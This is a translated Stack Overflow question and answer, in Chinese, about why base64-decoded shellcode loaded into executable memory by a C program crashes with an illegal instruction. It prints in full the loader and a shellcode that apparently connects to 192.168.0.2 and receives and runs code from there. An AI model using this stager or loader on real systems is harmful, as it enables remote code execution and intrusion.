解码的shellcode不执行:非法指令:4 [暂停]

内容来源于 Stack Overflow,并遵循CC BY-SA 3.0许可协议进行翻译与使用

  • 回答 (1)
  • 关注 (0)
  • 查看 (38)

我有一个ac应用程序解码包含一些shellcode的base64字符串并尝试执行它,它似乎成功解码但是当它被执行Illegal instruction: 4时发生错误。这是大部分代码:

unsigned char shellcode[] = "eDZheDAweDVmeDY4eDAweDEweDAweDAweDVleDZheDA3eDVheDY4eDAyeDEweDAweDAweDQxeDVheDZheDAweDQxeDU4eDZheDAweDQxeDU5eDY4eGM1eDAweDAweDAyeDU4eDBmeDA1eDBmeDgyeDc0eDAweDAweDAweDQ5eDg5eGM0eDZheDAweDQxeDVheDZheDBheDQxeDVieDZheDAyeDVmeDZheDAxeDVleDZheDAweDVheDY4eDYxeDAweDAweDAyeDU4eDBmeDA1eDcyeDMzeDQ4eDg5eGM3eDQ4eGI4eDAweDAyeDA0eGQzeGMweGE4eDAweDAyeDUweDU0eDVleDZheDEweDVheDY4eDYyeDAweDAweDAyeDU4eDBmeDA1eDcyeDE2eDRjeDg5eGU2eDY4eDAweDEweDAweDAweDVheDY4eDFkeDAweDAweDAyeDU4eDBmeDA1eDcyeDAzeDQxeGZmeGQ0eDQ5eGZmeGNieDc0eDFleDZheDAweDVmeDZheDAweDVleDZheDAweDVheDZheDAweDQxeDVheDZheDAweDZheDA1eDU0eDQxeDU4eDY4eDVkeDAweDAweDAyeDU4eDBmeDA1eGVieDk3eDY4eDAxeDAweDAweDAyeDU4eDZheDAxeDVmeDBmeDA1Cg==";
char buffer[4096];
int bufferLen = 4096;

int main() {

  base64decode(buffer, shellcode, sizeof(shellcode));
  printf("%s", buffer);

  void *ptr = mmap(NULL, bufferLen, (PROT_READ | PROT_WRITE | PROT_EXEC), (MAP_PRIVATE | MAP_ANONYMOUS), -1, 0);
  memcpy(ptr, buffer, bufferLen);

  int (*ret)() = (int(*)())ptr;
  ret();

}

原始shellcode是\x6a\x00\x5f\x68\x00\x10\x00\x00\x5e\x6a\x07\x5a\x68\x02\x10\x00\x00\x41\x5a\x6a\x00\x41\x58\x6a\x00\x41\x59\x68\xc5\x00\x00\x02\x58\x0f\x05\x0f\x82\x74\x00\x00\x00\x49\x89\xc4\x6a\x00\x41\x5a\x6a\x0a\x41\x5b\x6a\x02\x5f\x6a\x01\x5e\x6a\x00\x5a\x68\x61\x00\x00\x02\x58\x0f\x05\x72\x33\x48\x89\xc7\x48\xb8\x00\x02\x04\xd3\xc0\xa8\x00\x02\x50\x54\x5e\x6a\x10\x5a\x68\x62\x00\x00\x02\x58\x0f\x05\x72\x16\x4c\x89\xe6\x68\x00\x10\x00\x00\x5a\x68\x1d\x00\x00\x02\x58\x0f\x05\x72\x03\x41\xff\xd4\x49\xff\xcb\x74\x1e\x6a\x00\x5f\x6a\x00\x5e\x6a\x00\x5a\x6a\x00\x41\x5a\x6a\x00\x6a\x05\x54\x41\x58\x68\x5d\x00\x00\x02\x58\x0f\x05\xeb\x97\x68\x01\x00\x00\x02\x58\x6a\x01\x5f\x0f\x05 printf语句返回没有反斜杠的正确解码shellcode,并且可能在解码期间发生,这可以解释错误,但如果我在编码之前在shellcode中放入双反斜杠,则打印出一个反斜杠,表明它是printf命令将其删除。这意味着shellcode完好无损,但仍然有错误。

我从这里使用base64解码函数:https//github.com/rapid7/metasploit-framework/blob/master/data/headers/windows/base64.h

提问于
用户回答回答于

问题在于编码字符串。正在编码的数据是人类可读的字符串。相反,您需要编码原始二进制数据。

例如,您可以将数据放在文件中。你可以写一个C问题来为你做这件事。然后将文件base64作为输入(或直接从程序管道输入base64)。请记住,您的数据可能包含值为零的字节,因此您需要使用fwritewrite写出来。

所属标签

可能回答问题的人

  • 不吃貓的鱼oo

    5 粉丝466 提问6 回答
  • 人生的旅途

    10 粉丝484 提问5 回答
  • Richel

    8 粉丝0 提问4 回答
  • 御姐万岁

    6 粉丝507 提问3 回答

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励